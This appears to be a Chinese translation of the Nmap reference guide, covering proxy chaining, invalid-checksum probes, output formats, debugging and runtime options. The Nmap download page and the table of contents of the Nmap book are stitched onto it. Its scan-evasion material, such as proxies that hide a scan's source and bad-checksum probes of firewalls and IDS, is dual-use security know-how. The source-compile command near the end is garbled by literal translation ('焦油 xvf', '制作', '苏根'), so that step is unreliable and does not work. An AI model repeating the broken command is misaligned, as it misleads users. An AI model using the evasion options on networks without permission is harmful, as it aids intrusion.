通过提供的一个或多个HTTP或SOCKS4代理链,要求Nmap与最终目标建立TCP连接。 代理可以帮助隐藏扫描的真实来源或逃避某些防火墙限制,但是它们可以通过增加延迟来阻碍扫描性能。 用户可能需要相应地调整Nmap超时和其他扫描参数。 尤其是,较低的--max-parallelism可能会有所帮助,因为某些代理拒绝处理默认情况下Nmap打开的并发连接。
此选项将代理列表作为参数,表示为URL,格式为proto:// host:port。 使用逗号分隔链中的节点URL。 尚不支持身份验证。 有效协议为HTTP和SOCKS4。
警告:此功能仍在开发中并有限制。 它在nsock库中实现,因此对扫描的ping,端口扫描和OS发现阶段没有影响。 到目前为止,只有NSE和版本扫描可从此选项中受益-其他功能可能会泄露您的真实地址。 尚不支持SSL连接,也不支持代理端DNS解析(主机名始终由Nmap解析)。
--badsum (发送带有虚假TCP / UDP校验和的数据包)
要求Nmap对发送到目标主机的数据包使用无效的TCP,UDP或SCTP校验和。 由于实际上所有主机IP栈都正确地丢弃了这些数据包,因此收到的任何响应很可能都是来自防火墙或IDS,它们没有费力去验证校验和。 有关此技术的更多详细信息,请参见https://nmap.org/p60-12.html
--adler32 (对SCTP校验和使用不建议使用的Adler32而不是CRC32C)
要求Nmap使用不建议使用的Adler32算法来计算SCTP校验和。 如果未提供--adler32,则使用CRC-32C(Castagnoli)。 RFC 2960 [13]最初将Adler32定义为SCTP的校验和算法。 RFC 4960 [6]随后重新定义了SCTP校验和以使用CRC-32C。 当前的SCTP实现应使用CRC-32C,但是为了从旧的,传统的SCTP实现中引起响应,使用Adler32可能更可取。
输出:
任何安全工具只有生成输出才是有用的。 如果复杂的测试和算法不是以一种有组织的,可理解的方式呈现的,那么它们的价值就很小。 鉴于人们和其他软件使用Nmap的方式众多,没有一种单一的格式可以使所有人满意。 因此,Nmap提供了多种格式,包括供人类直接读取的交互模式以及可通过软件轻松解析的XML。
除了提供不同的输出格式外,Nmap还提供用于控制输出的详细程度以及调试消息的选项。 输出类型可以发送到标准输出或命名文件,Nmap可以将其附加或全新添加文件。 输出文件也可以用于恢复中止的扫描。
Nmap提供了五种不同格式的输出。 默认值称为交互输出,它被发送到标准输出(stdout)。还有正常输出,它与交互式类似,只是显示较少的运行时信息和警告,因为它被期望在扫描完成后进行分析而不是交互。
XML输出是最重要的输出类型之一,因为它可以转换为HTML,可以通过Nmap图形用户界面之类的程序轻松解析,也可以导入数据库中。
剩下的两种输出类型是简单的可过滤输出,它在一行中包括了目标主机的大部分信息,而sCRiPt KiDDi3 0utPUt是为那些认为自己|<-r4d的用户准备的。
交互式输出是默认设置,并且没有关联的命令行选项,而其他四个格式选项使用相同的语法。 它们采用一个参数,即应将结果存储在其中的文件名。可以指定多种格式,但是每种格式只能指定一次。 例如,您可能希望保存常规输出以供您自己查看,同时保存同一扫描的XML以进行程序分析。 您可以使用-oX myscan.xml -oN myscan.nmap选项执行此操作。 为简洁起见,本章使用诸如myscan.xml之类的简单名称,但通常建议使用更具描述性的名称。 所选择的名称是个人喜好问题,尽管我使用包含扫描日期和描述扫描的一两个字的长名称,并将其放置在以我正在扫描的公司命名的目录中。
尽管这些选项将结果保存到文件中,但Nmap仍照常将交互式输出打印到stdout。 例如,命令nmap -oX myscan.xml target将XML打印到myscan.xml,并在标准输出中填入它在完全没有指定-oX的情况下会打印的相同的交互结果。 您可以通过将连字符作为参数传递给一种格式类型来更改此设置。 这将导致Nmap停用交互式输出,而是以您为标准输出流指定的格式打印结果。 因此,命令nmap -oX - target 仅将XML输出发送到stdout。 严重错误仍可打印到正常错误流stderr。
与某些Nmap参数不同,日志文件选项标志(例如-oX)与文件名或连字符之间的空格是强制性的。 如果省略这些标志并提供诸如-oG-或-oXscan.xml之类的参数,则Nmap的向后兼容性功能将导致分别创建名为G-和Xscan.xml的常规格式输出文件。
所有这些参数都支持文件名中类似于strftime的转换。 %H,%M,%S,%m,%d,%y和%Y都与strftime完全相同。 %T与%H%M%S相同,%R与%H%M相同,%D与%m%d%y相同。 一个%后面跟任何其他字符只会产生该字符(%%为您提供一个百分号)。 因此,-oX 'scan-%T-%D.xml' 将使用名称为scan-144840-121307.xml形式的XML文件。
Nmap还提供了控制扫描详细程度并将其附加到输出文件而不是破坏它们的选项。 所有这些选项如下所述。
Nmap输出格式:
-oN filespec (正常输出)
-oN filespec (正常输出) 要求将正常输出指向给定的文件名。如上所述,这与交互式输出略有不同。
-oX filespec(XML输出)
要求将XML输出指向给定的文件名。 用Nmap的XML格式写输出到<文件名>。正常的(人类可读的)输出仍然会被打印到stdout,除非您通过指定-作为<文件名>来要求XML被引向那里。这是处理Nmap结果的脚本和程序使用的首选格式。Nmap包含一个文档类型定义(DTD),它允许XML解析器验证Nmap XML输出。 虽然它主要供程序使用,但它也可以帮助人们解释Nmap XML输出。 DTD定义了格式的合法元素,并经常列举它们可以采用的属性和值。 始终可以从https://svn.nmap.org/nmap/docs/nmap.dtd获得最新版本。
XML提供了一种稳定的格式,可以通过软件轻松地对其进行解析。 免费的XML解析器可用于所有主流的计算机语言,包括C / C ++,Perl,Python和Java。 人们甚至为大多数这些语言编写了绑定,以专门处理Nmap输出和执行。 示例是Perl CPAN中的Nmap :: Scanner [14]和Nmap :: Parser [15]。 在几乎所有nmap重要应用程序接口的情况下,XML是首选格式。
XML输出引用XSL样式表,该样式表可用于将结果格式化为HTML。 最简单的使用方法是将XML输出加载到Firefox或IE之类的Web浏览器中。 默认情况下,由于硬编码的nmap.xsl文件系统路径,这仅在运行Nmap的计算机(或配置类似的计算机)上有效。 使用--webxml或--stylesheet选项可创建可移植的XML文件,这些文件可在任何与web相连的计算机上呈现为HTML。
-oS filespec (ScRipT KIdd|3 oUTpuT)
脚本小子的输出类似于交互式输出,只是它经过后期处理以更好地适应那些以前因为Nmap的大写字母和拼写方法始终如一而看不起它的l33t HaXXorZ。幽默感受损的人应该注意,这个选项是在取笑脚本小子,然后再嘲笑我所谓的 "帮助他们"。
-oG filespec(可过滤的输出)
以Nmap所谓的grepable格式写输出到<filename>。这种扁平化格式把每个主机的输出放在一行上,使它很容易搜索开放端口、某些操作系统、应用程序名称或其它数据。正常的输出仍然会被打印到stdout,除非你通过指定-作为<filename>来要求将可搜索的输出引向那里。虽然这种格式在用简单的grep和awk命令行进行解析时效果很好,但重要的脚本和程序应该使用XML输出来代替。XML格式包含了grepable格式所不能容纳的大量信息,而且可扩展性使得XML更容易用新的信息进行更新,而不会破坏依赖它的工具。
由于不建议使用此输出格式,因此最后介绍了该格式。 XML的输出格式要强大得多,对于有经验的用户来说几乎同样方便。XML是一个标准,可以使用许多出色的解析器,而可过滤的代码是我自己的简单技巧。当发布时XML可以扩展以支持新的Nmap功能,而我经常因为没有地方放这些特性而必须从grepable输出中忽略。
尽管如此,grepable的输出仍然很受欢迎。 这是一种简单的格式,它在一行上列举了每个主机,并且可以使用标准Unix工具(例如grep,awk,cut,sed,diff和Perl)轻松地进行搜索和解析。 甚至我通常也将其用于在命令行中进行的一次性测试。 查找所有SSH端口已打开或正在运行Solaris的主机,只需一个简单的grep即可识别主机,将其通过管道传输到awk或cut命令以打印所需的字段。
Grepable的输出由注释(以井号(#)开头的行)和目标行组成。 目标行包括六个带标签的字段的组合,由制表符分隔,后跟冒号。 这些字段是“主机”,“端口”,“协议”,“忽略状态”,“操作系统”,“序列索引”,“ IP ID”和“状态”。
这些字段中最重要的通常是端口,它提供了每个兴趣端口的详细信息。 这是一个用逗号分隔的端口条目列表。 每个端口条目代表一个兴趣的端口,并采用七个斜杠(/)分隔的子字段的形式。 这些子字段是:端口号,状态,协议,所有者,服务,SunRPC信息和版本信息。
与XML输出一样,此手册页不允许记录整个格式。 可从https://nmap.org/book/output-formats-grepable-output.html获得有关Nmap grepable输出格式的更详细信息。
-oA basename (输出为所有格式)
为方便起见,您可以指定-oA 基本名称,以一次以常规,XML和grepable格式存储扫描结果。 它们分别存储在basename.nmap,basename.xml和basename.gnmap中。 与大多数程序一样,您可以在文件名前加上目录路径,例如Unix上的〜/ nmaplogs / foocorp /或Windows上的c:\ hacking \ sco。
详细度和调试选项:
Nmap提供在标准格式,简单面向行的 "grepable "格式或XM格式下编写报告的能力。这些报告可以用-oN (normal), -oG (grepable), 和 -oX (XML)选项启用。每个选项都需要一个文件名,并且它们可以同时以多种格式输出。还有多个选项可以用来增加输出的详细度。本节列出了最重要的与输出有关的选项,以及它们如何应用于端口扫描。关于这些选项的进一步细节,请看 "输出 "一节。第13章,Nmap输出格式,对输出选项和格式有更透彻的处理,有很多例子。
-v (增加详细程度),-vlevel (设置详细程度) (同
--verbose
)增加详细程度,使Nmap打印有关正在进行的扫描的更多信息。默认情况下,Nmap通常只打印活动的、有响应的主机。详细模式会使Nmap打印down的主机,以及活动主机的额外信息。 当Nmap认为扫描将花费几分钟以上时,将显示找到的开放端口并提供估计完成时间。 使用两次v或更多次以获得更大的详细程度:-vv,或直接指定详细程度,例如-v3。
大多数更改仅影响交互式输出,而某些更改也影响正常和脚本小子的输出。 其他输出类型是由机器处理的,因此默认情况下,Nmap可以使用这些格式提供大量细节,而不会给人类用户带来疲劳。然而,在其他模式下有一些变化,通过省略一些细节,可以大大减少输出量。例如,grepable输出中的注释行提供了一个扫描的所有端口的列表,只在详细模式下打印,因为它可能相当长。
-d (增加调试级别);-dlevel (设置调试级别)
如果即使是详细的模式也无法为您提供足够的数据,则可以使用调试功能为您提供更多信息! 与详细选项(-v)一样,使用命令行标志(-d)启用调试,并且可以通过多次指定它来提高调试级别,如-dd所示,或者直接设置级别。 例如,-d9设置级别9。 这是最高的有效级别。更高的级别会产生大量数据。如果你的屏幕被太多的调试数据淹没,就降低级别。降低扫描强度,如扫描的端口或目标的数量和使用的功能,也可以帮助只分离出你想要的调试信息。
使Nmap打印出它的操作细节,这对追踪错误或简单地理解它的工作方式很有用。 由于此功能主要供开发人员使用,因此调试行并不总是不言自明。 您可能会得到类似以下内容的信息:
Timeout vals: srtt: -1 rttvar: -1 to: 1000000 delta 14987 ==> srtt: 14987 rttvar: 14987 to: 100000。
如果你不理解某一行,你唯一的办法就是忽略它,在源代码中查找它,或者向开发列表(nmap-dev)请求帮助。 有些行是不需要解释的,但随着调试级别的提高,信息会变得越来越晦涩难懂。
--reason (主机和端口状态原因)
正常的Nmap输出显示一个主机是否在运行,但不描述该主机对哪些发现测试作出反应。对于这个细节,请添加 --reason选项。由于Nmap并不总是尝试每一个探测,所以结果对主机发现来说可能是混乱的。它一旦得到第一个响应就会停止。所以Nmap在运行期间可能报告一个主机的ICMP echo响应,但是在第二次运行期间可能首先收到 RST 响应,并导致 Nmap 报告这个响应。
显示每个端口设置为特定状态的原因以及每个主机启动或关闭的原因。 此选项显示确定端口或主机状态的数据包类型。 例如,来自关闭端口的RST数据包或来自活动主机的回显应答。 Nmap可以提供的信息取决于扫描或Ping的类型。 SYN扫描和SYN ping(-sS和-PS)非常详细,但是TCP连接扫描(-sT)受连接系统调用的实现限制。即使未指定此选项, 调试选项(-d)会自动启用此功能并且结果也会存储在XML日志文件中。
--stats-every time (打印定期计时统计信息)
在每个时间间隔后定期打印定时状态消息。 时间是在“定时和性能”一节中描述的规格。 因此,例如,使用--stats-every 10s每10秒获取一次状态更新。 更新被打印到交互式输出(屏幕)和XML输出。
--packet-trace (跟踪发送和接收的数据包和数据)
使Nmap打印发送或接收的每个数据包的摘要,包括序列号、TTL 值和 TCP 标志等详细信息。如果您需要比
--reason
提供的更多详细信息,请尝试--packet-trace
. 。这通常用于调试,但对于新用户来说,也是一种准确了解Nmap幕后工作的宝贵方式。 为避免打印数千行,您可能需要指定有限的要扫描的端口数量,例如-p20-30。 如果仅关心版本检测子系统的运行情况,请使用--version-trace。 如果只关心脚本跟踪,请指定--script-trace。 使用--packet-trace,您可以完成上述所有操作。
--open (仅显示开放(或可能开放)的端口)
只显示有开放端口的主机,并且只显示这些主机的开放端口。这里,"开放端口 "是指可能开放的任何端口,包括开放的、开放|过滤的和未过滤的。
有时,您只关心实际上可以连接到(开放的)端口,而不希望结果因关闭,过滤和关闭|过滤的端口而杂乱。 通常在扫描后使用grep,awk和Perl之类的工具完成自定义输出,但这个功能是由于大量的要求而增加的。 指定--open仅查看具有至少一个open,open | filtered或unfiltered端口的主机,并且仅查看处于这些状态的端口。 这三种状态就像通常情况下一样被对待,这意味着如果开放|过滤和未过滤的数量过多,可能会被压缩为计数。
从Nmap 7.40开始,--open选项隐含--defeat-rst-ratelimit,因为该选项仅影响关闭和过滤的端口,这些端口被--open隐藏。
--iflist (列举接口和路由)
打印Nmap检测到的接口列表和系统路由,然后退出。 这对于调试路由问题或设备错误描述(例如Nmap将PPP连接视为以太网)很有用。
混杂输出选项:
--append-output(附加到输出文件而不是覆盖输出文件)
告诉 Nmap 将扫描结果附加到指定的任何输出文件(使用参数,例如
-oN
or-oX
)而不是覆盖它们。当您为输出格式标志(例如-oX或-oN)指定文件名时,默认情况下将覆盖该文件。 如果您希望保留文件的现有内容并追加新结果,请指定--append-output选项。 然后,在该Nmap执行中指定的所有输出文件名将被附加而不是被覆盖。 这对于XML(-oX)扫描数据来说效果不佳,因为生成的文件通常无法正确解析,除非您手动修复它。
--resume filename (恢复中止的扫描)
通过指定在失败的扫描中所创建的正常的(-oN)或grepable(-oG)输出文件来恢复一次中止的扫描。
一些巨大的Nmap运行需要很长时间-以天为单位。这样的扫描并不总是能完成。限制可能会阻止Nmap在工作时间内运行,比如网络可能会中断,正在运行的Nmap计算机可能会遭受计划内或计划外的重启,或者Nmap本身可能崩溃。运行Nmap的管理员也可以出于任何其他原因取消它,只需按ctrl-C。从头开始重新启动整个扫描可能是不可取的。幸运的是,如果保留了扫描输出文件,则用户可以要求Nmap在停止执行时恢复对其正在处理的目标的扫描。只需指定--resume选项,然后将输出文件作为参数传递即可。不允许使用其他参数,因为Nmap解析输出文件以使用先前指定的相同参数。简单调用nmap为 nmap --resume
<logfilename>
。 然后它解析该文件并在之前Nmap执行停止时正在工作的主机上恢复扫描(并记录到该文件)。Nmap会将新结果附加到上一次执行中指定的数据文件中。可以从3种主要输出格式中的任何一种恢复扫描:正常,可过滤或XML
--stylesheet
(设置XSL样式表以转换XML输出)<path or URL>
Nmap附带了一个名为nmap.xsl的XSL样式表,用于查看XML或将其转换为HTML。 XML输出包括一个xml-stylesheet指令,指向Nmap最初安装的nmap.xml。通过XSLT处理器(例如xsltproc [16])运行XML文件,以生成HTML文件。在浏览器中直接打开XML文件不再是很好的方法,因为现代浏览器限制了样式表的加载位置。如果您希望使用不同的样式表,请将其指定为--stylesheet的参数。您必须传递完整的路径名或URL。一种常见的调用是–stylesheet https://nmap.org/svn/docs/nmap.xsl。这告诉XSLT处理器从Nmap.Org加载样式表的最新版本。--webxml选项可以做同样的事情,但需要更少的键入和记忆。从Nmap.Org加载XSL使得在没有安装Nmap(因此没有安装nmap.xsl)的计算机上查看结果更加容易。因此,URL通常更有用,但是出于隐私原因,默认情况下使用nmap.xsl的本地文件系统位置。
--webxml (从Nmap.Org加载样式表)
这是一个方便的选项,仅是--stylesheet https://nmap.org/svn/docs/nmap.xsl的别名。
--no-stylesheet (从XML省略XSL样式表声明)
指定此选项可防止Nmap将任何XSL样式表与其XML输出相关联。 忽略 xml-stylesheet指令。
杂项:
本节描述了一些重要的(和不太重要的)选项,这些选项在其他地方其实并不适合。
-6 (启动ipv6扫描)
要求 Nmap 使用 IPv6 协议扫描目标。自 2002 年以来,Nmap对其最流行的功能提供了IPv6支持。 Ping扫描(仅限 TCP),端口扫描,版本检测和Nmap脚本引擎均支持IPv6。 除了添加-6选项外,命令语法与通常的语法相同。 当然,如果您指定地址而不是主机名,则必须使用IPv6语法。 地址可能看起来像3ffe:7501:4819:2000:210:f3ff:fe03:14d0,因此建议使用主机名。例4.4展示了一个典型的端口扫描会话。输出结果看起来和与ipv4往常一样,"兴趣端口 "一行上的IPv6地址是唯一的IPv6提示信息。
例 4.4。简单的 IPv6 扫描
#nmap -6 -sV www.eurov6.org
Starting Nmap ( http://nmap.org ) Nmap scan report for ns1.euro6ix.com (2001:800:40:2a03::3) Not shown: 996 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp Pure-FTPd 22/tcp open ssh OpenSSH 3.5p1 (protocol 2.0) 53/tcp open domain ISC BIND 9.2.1 80/tcp open http Apache httpd Nmap done: 1 IP address (1 host up) scanned in 56.78 seconds尽管IPv6尚未完全席卷全球,但它在某些(通常是亚洲)国家中得到了广泛使用,大多数现代操作系统都支持它。 要将Nmap与IPv6一起使用,必须同时为IPv6配置扫描的源和目标。 如果您的ISP(像大多数网络服务提供商一样)没有为您分配IPv6地址,则免费的隧道代理普遍地可用,并且可以与Nmap一起正常工作。 我在http://www.tunnelbroker.net使用免费的IPv6隧道代理服务。其他隧道代理可以在维基百科上找到。 6to4隧道是另一种流行的免费方法。
在Windows上,仅在以太网设备(而不是隧道)上以及在Windows Vista和更高版本上才支持原始套接字的IPv6扫描。 在其他情况下,请使用--unprivileged选项。
支持 IPv6 的系统并不总是同步其 IPv4 和 IPv6 防火墙规则。 名为“IPv6 攻击”的部分 显示了通过 IPv6 到达在 IPv4 中过滤的端口的真实示例。
基于 TCP
connect
的 ping 扫描 (-PS
) 支持 IPv6 协议,包括多端口模式(例如-PS22,80,113
.
-A (激进的扫描选项)
此选项启用其他高级和激进的选项。 目前,这可以启用OS检测(-O),版本扫描(-sV),脚本扫描(-sC)和traceroute(--traceroute)。 将来可能会添加更多功能。 关键是要启用一组全面的扫描选项,而无需人们记住大量的标志。 但是,由于默认设置的脚本扫描被认为是侵入性的,因此未经许可请勿对目标网络使用-A。 此选项仅启用功能,而不会同时启用您可能需要的计时选项(例如-T4)或详细选项(-v)。 需要权限的选项(如root权限),如操作系统检测和跟踪路由,只有在这些权限可用时才会启用。
--datadir directoryname (指定自定义Nmap数据文件位置)
Nmap在运行时会在名为nmap-service-probes,nmap-services,nmap-protocols,nmap-rpc,nmap-mac-prefixes和nmap-os-db的文件中获取一些特殊数据。 如果已指定任何文件的位置(使用--servicedb或–versiondb选项),则该位置将用于该文件。 之后,Nmap在使用–datadir选项指定的目录中搜索这些文件(如果有)。 任何没有找到的文件,将在NMAPDIR环境变量指定的目录中搜索。接下来是〜/ .nmap以获取真实有效的UID; 或在Windows,HOME \ AppData \ Roaming \ nmap(其中HOME是用户的主目录,例如C:\ Users \ user)上。 其次是nmap可执行文件的位置,并在同一位置附加../share/nmap。 然后是编译好的位置,例如/ usr / local / share / nmap或/ usr / share / nmap。
--servicedb service file(指定自定义服务文件)
要求Nmap使用指定的服务文件,而不是Nmap随附的nmap-services数据文件。 使用此选项还会导致使用快速扫描(-F)。 有关Nmap数据文件的更多信息,请参见--datadir的描述。
--versiondb service probes file(指定自定义服务探测文件)
要求Nmap使用指定的服务探针文件,而不是Nmap随附的nmap-service-probes数据文件。 有关Nmap数据文件的更多信息,请参见--datadir的描述。
--send-eth (使用原始以太网发送)
要求Nmap在原始以太网(数据链路)层而不是更高IP(网络)层发送数据包。 默认情况下,Nmap选择最适合其运行的平台。 原始套接字(IP层)通常对于Unix计算机最为有效,而Windows操作则需要以太网帧,因为Microsoft禁用了原始套接字支持。 在没有其他选择的情况下(例如非以太网连接),Nmap仍然在Unix上使用原始IP数据包。
--send-ip (以原始IP级别发送)
要求Nmap通过原始IP套接字发送数据包,而不是发送较低级别的以太网帧。 它是前面讨论的--send-eth选项的补充。
--privileged(假设用户具有完全特权)
告诉Nmap简单地假设它有足够的特权来执行原始套接字发送,数据包嗅探和类似的操作,这些操作通常需要Unix系统上的root特权。 默认情况下,如果请求这样的操作,但geteuid不为零,Nmap将退出。 --privileged对Linux内核功能和类似系统很有用,这些系统可能被配置为允许非特权用户执行原始数据包扫描。请确保在需要权限的选项(SYN扫描、OS检测等)的任何标志之前提供这个选项标志。 可以将NMAP_PRIVILEGED环境变量设置为--privileged的等效替代项。
--unprivileged(假设用户缺少原始套接字特权)
此选项与--privileged相反。 它告诉Nmap将用户视为缺少网络原始套接字和嗅探特权。 这对于测试、调试,或当你的操作系统的原始网络功能以某种方式被破坏时,是很有用的。 可以将NMAP_UNPRIVILEGED环境变量设置为--unprivileged的等效替代项。
--release-memory (退出前释放内存)
此选项仅对内存泄漏调试有用。 这会导致Nmap在退出之前释放分配的内存,以便更容易发现实际的内存泄漏。 通常Nmap会跳过此操作,因为OS无论如何都会在进程终止时这样做。
-V;--version (打印版本号)
打印Nmap版本号并退出。
-h;--help (打印帮助摘要页面)
打印一个简短的帮助屏幕,包括最常见的命令标志。在没有任何参数的情况下运行Nmap做同样的事情。
运行时交互:
在执行Nmap期间,将捕获所有按键。 这使您可以与程序交互,而无需中止和重新启动它。 某些特殊键将更改选项,而其他任何键将打印出状态消息,告诉您有关扫描的信息。 按照惯例,小写字母会增加打印量,大写字母会减少打印量。您也可以按“?”寻求帮助。
v/V
增加/减少详细程度
d/D
增加/减少调试级别
p/P
打开/关闭数据包跟踪
?
打印运行时交互帮助屏幕
除此之外
Stats: 0:00:07 elapsed; 20 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 33.33% done; ETC: 20:57 (0:00:12 remaining)
https://nmap.org/ncat/guide/index.html
https://nmap.org/nsedoc/
https://nmap.org/book/toc.html
https://nmap.org/nsedoc/、
https://nmap.org/ncat/guide/index.html
https://nmap.org/ncat/
https://nmap.org/ndiff/
https://nmap.org/nping/
下载 Nmap
较旧的版本(有时是较新的测试版本)可从Nmap 发布存档中获得 (并且特别旧的版本在dist-old中)。对于更多的安全偏执(聪明)用户,每个版本的 GPG 分离签名和 SHA-1 哈希都可以在sigs 目录中找到(验证说明)。在下载之前,请务必阅读Nmap 安装指南中与您的平台相关的部分。每个 Nmap 版本中最重要的更改(功能、错误修复等)都在Changelog中进行了描述。参考指南中介绍了使用 Nmap ,不要忘记阅读其他可用文档,特别是Nmap的官方书籍网络扫描!
鼓励 Nmap 用户订阅Nmap-hackers 邮件列表。这是一个低数量的(2015 年 7 个帖子),关于 Nmap、Insecure.org 和相关项目的最重要公告的审核列表。您可以通过在此处提交您的电子邮件地址来加入 128,953 个当前订阅者(截至 2017 年 9 月):
您还可以通过在 Facebook 上点赞 Nmap或在 Twitter 上关注我们@nmap 来获取更新。
Nmap 是根据与 GNU 通用公共许可证类似(并衍生自)的自定义许可条款与源代码一起分发的,如版权页面中所述。
Microsoft Windows 二进制文件
请阅读安装指南的Windows 部分,了解 Windows 版本 Nmap 的限制和安装说明。您可以选择自安装程序(包括依赖项以及 Zenmap GUI)或更小的命令行 zip 文件版本。我们在 Windows 7 和更高版本以及 Windows Server 2008 R2 和更高版本上支持 Nmap。我们还为必须在早期 Windows 版本上运行 Nmap 的用户提供指南。.
注意:我们的安装程序中包含的 Npcap 版本可能并不总是最新版本。如果您遇到问题或只是想要最新最好的版本,请下载并安装最新的 Npcap 版本。
Nmap可执行 Windows 安装程序可以处理 Npcap 安装、注册表性能调整以及将可执行文件和数据文件解压缩到您的首选位置。它还包括 Zenmap 图形前端。使用自安装程序跳过 Windows zip 文件的所有复杂性:
最新稳定版自安装程序:nmap-7.92-setup.exe
最新 Npcap 版本自安装程序:npcap-1.60.exe
我们已经编写了安装后使用说明。 如果您遇到任何问题或对安装程序有任何建议, 请通知我们。
对于那些喜欢命令行 zip 文件(安装说明;使用说明)的人,它们仍然可用。Zenmap 图形界面不包括在内,因此您需要从 DOS/命令窗口运行 nmap.exe。或者,您可以下载并安装高级命令 shell,例如免费的Cygwin 系统中包含的那些。此外,您需要运行 zip 文件中包含的Npcap 和Microsoft Visual C++ Redistributable Package 安装程序。主要优点是这些 zip 文件是可执行安装程序大小的一小部分:
最新稳定的命令行压缩文件: nmap-7.92-win32.zip
Linux RPM 源代码和二进制文件
许多流行的 Linux 发行版(Redhat、Mandrake、Suse 等)使用RPM包管理系统来快速轻松地安装二进制包。我们已经编写了安装 RPM 包的详细指南,尽管这些简单的命令通常可以解决问题:
rpm -vhU https://nmap.org/dist/nmap-7.92-1.x86_64.rpm rpm -vhU https://nmap.org/dist/zenmap-7.92-1.noarch.rpm rpm -vhU https://nmap.org/dist/ncat-7.92-1.x86_64.rpm rpm -vhU https://nmap.org/dist/nping-0.7.92-1.x86_64.rpm
您也可以自己下载和安装 RPM:
最新稳定版本:
x86-64(64 位 Linux) Nmap RPM:nmap-7.92-1.x86_64.rpm
x86-64(64 位 Linux) Ncat RPM:ncat-7.92-1.x86_64.rpm
x86-64( 64 位 Linux) Nping RPM:nping-0.7.92-1.x86_64.rpm
可选Zenmap GUI(所有平台):zenmap-7.92-1.noarch.rpm
源 RPM(包括 Nmap、Zenmap、Ncat 和 Nping):nmap-7.92-1.src.rpm
Mac OS X 二进制文件
Apple macOS (x86-64) 的 Nmap 二进制文件作为包含安装程序的磁盘映像文件分发。安装程序允许安装 Nmap、Zenmap、Ncat 和 Ndiff。这些程序已在 Mac OS X 10.9 及更高版本上进行了测试。有关更多详细信息,请参阅Mac OS X Nmap 安装页面。Apple 于 2006 年停止销售的 PowerPC (PPC) Mac 机器的用户应该查看此页面以获取支持信息。最新稳定版安装程序:nmap-7.92.dmg
源代码分发
这是传统的自行编译格式。Nmap tarball 可在 Linux、Mac OS X、Windows 和许多 UNIX 平台(Solaris、Free/Net/OpenBSD 等)下编译。它包括 GUI 前端 Zenmap。
此处提供了详细的 Linux/BSD/Solaris 编译说明和选项,尽管这通常可以解决问题:
bzip2 -cd nmap-7.92.tar.bz2 | 焦油 xvf - cd nmap-7.92 。/配置 制作 苏根 进行安装
大多数 Windows 用户使用我们的Windows 可执行安装程序进行安装,但我们也提供Windows 源代码编译说明。
大多数 Mac OS X 用户使用我们的Mac 安装程序进行安装,但我们也提供Mac OS X 源代码编译说明。
如果您仍然在编译 Nmap,您可能更愿意从我们的 SVN 源代码存储库中获取最新的代码,而不是在此处下载 tarball。
最新稳定的Nmap 版本 tarball:nmap-7.92.tar.bz2(或gzip 压缩)
其他操作系统
许多其他操作系统都很好地支持 Nmap,因此我无需自己创建和分发二进制包。您可以选择使用下面的包,或者编译源代码分发,这通常是较新的。我们为以下平台创建了安装页面:
Linux(所有发行版)
Microsoft Windows
Mac OS X
FreeBSD、OpenBSD 和 NetBSD
Sun Solaris
Amiga、HP-UX 和其他平台
Nmap网络扫描---网络发现和安全扫描的官方 Nmap 项目指南
图书网址: http: //nmap.org/book/
ISBN: 978-0-9799587-1-7
ISBN-10: 0-9799587-1-7
版权所有 © 2011 Insecure.Com LLC。保留所有权利,除非另有说明。
目录
前言
介绍
目标受众和组织
约定
其他资源
征求意见
致谢
用于创作本书的技术
TCP/IP 参考
1、Nmap入门
介绍
Nmap概述和演示
Avatar在线
拯救人类
MadHat在仙境
Nmap 扫描的各个阶段
法律问题
未经授权的端口扫描是犯罪吗?
端口扫描会导致目标计算机/网络崩溃吗?
Nmap版权所有
Nmap的历史与未来
Nmap的历史
Nmap的未来
2. Nmap的获取、编译、安装、删除
介绍
测试 Nmap 是否已经安装
命令行和图形界面
下载 Nmap
验证 Nmap 下载的完整性
从 Subversion (SVN) 存储库中获取 Nmap
Linux/Unix 源码编译安装
配置指令
环境变量
如果遭遇编译问题
Linux 发行版
基于 RPM 的发行版(Red Hat、Mandrake、SUSE、Fedora)
使用 Yum 更新 Red Hat、Fedora、Mandrake 和 Yellow Dog Linux
Debian Linux 和其衍生产品 如Ubuntu
其他 Linux 发行版
Windows
Windows 自安装程序
命令行 Zip 二进制文件
安装 Nmap zip 二进制文件
从源代码编译
在 Windows 上执行 Nmap
苹果 Mac OS X
可执行安装程序
从源代码编译
从源代码编译 Nmap
从源代码编译 Zenmap
第三方包
在 Mac OS X 上执行 Nmap
其他平台(BSD、Solaris、AIX、AmigaOS)
FreeBSD / OpenBSD / NetBSD
OpenBSD 二进制包和源端口说明
FreeBSD 二进制包和源端口说明
NetBSD 二进制包说明
Oracle/Sun Solaris
IBM AIX
AmigaOS
其他专有 UNIX(HP-UX、IRIX 等)
删除 Nmap
3. 主机发现(“ Ping 扫描”)
介绍
指定目标主机和网络
从列表输入 ( -iL)
随机选择目标 ( )-iR <numtargets>
排除目标 ( --exclude, --excludefile <filename>)
实际例子
查找组织的 IP 地址
DNS 技巧
针对 IP 注册机构的 Whois 查询
互联网路由信息
DNS解析
主机发现控制
列表扫描 ( -sL)
禁用端口扫描 ( -sn)
禁用 Ping ( -Pn)
主机发现技术
TCP SYN Ping ( -PS<port list>)
TCP ACK Ping (-PA<port list> )
UDP Ping (-PU<port list> )
ICMP Ping 类型(-PE、-PP和-PM)
IP 协议 Ping (-PO<protocol list> )
ARP 扫描 ( -PR)
默认组合
全盘考虑:主机发现策略
相关选项
选择和组合 Ping 选项
最有价值的探针
TCP 探针和端口选择
UDP端口选择
ICMP 探针选择
设计理想的探针组合
主机发现代码算法
4. 端口扫描概述
端口扫描简介
究竟什么是端口?
最流行的端口是什么?
什么是端口扫描?
为什么要扫描端口?
快速端口扫描教程
命令行标志
选择扫描技术
选择要扫描的端口
与时间相关的选项
输出格式和详细程度选项
防火墙和 IDS 规避选项
指定目标
其他选项
IPv6 扫描 ( -6)
解决方案:扫描大型网络以查找某个打开的 TCP 端口
问题
解决
讨论
另见
5. 端口扫描技术和算法
介绍
TCP SYN(隐身)扫描 ( -sS)
TCP 连接扫描 ( -sT)
UDP 扫描 ( -sU)
区分开放和过滤的 UDP 端口
加速 UDP 扫描
TCP FIN、NULL 和 Xmas 扫描 ( -sF, -sN, -sX)
自定义扫描类型 --scanflags
自定义 SYN/FIN 扫描
PSH扫描
TCP ACK 扫描 ( -sA)
TCP window 扫描 ( -sW)
TCP Maimon 扫描 ( -sM)
TCP 空闲扫描 ( -sI)
一步一步空闲扫描
寻找工作的空闲扫描僵尸主机
执行空闲扫描
空闲扫描实现算法
IP 协议扫描 ( -sO)
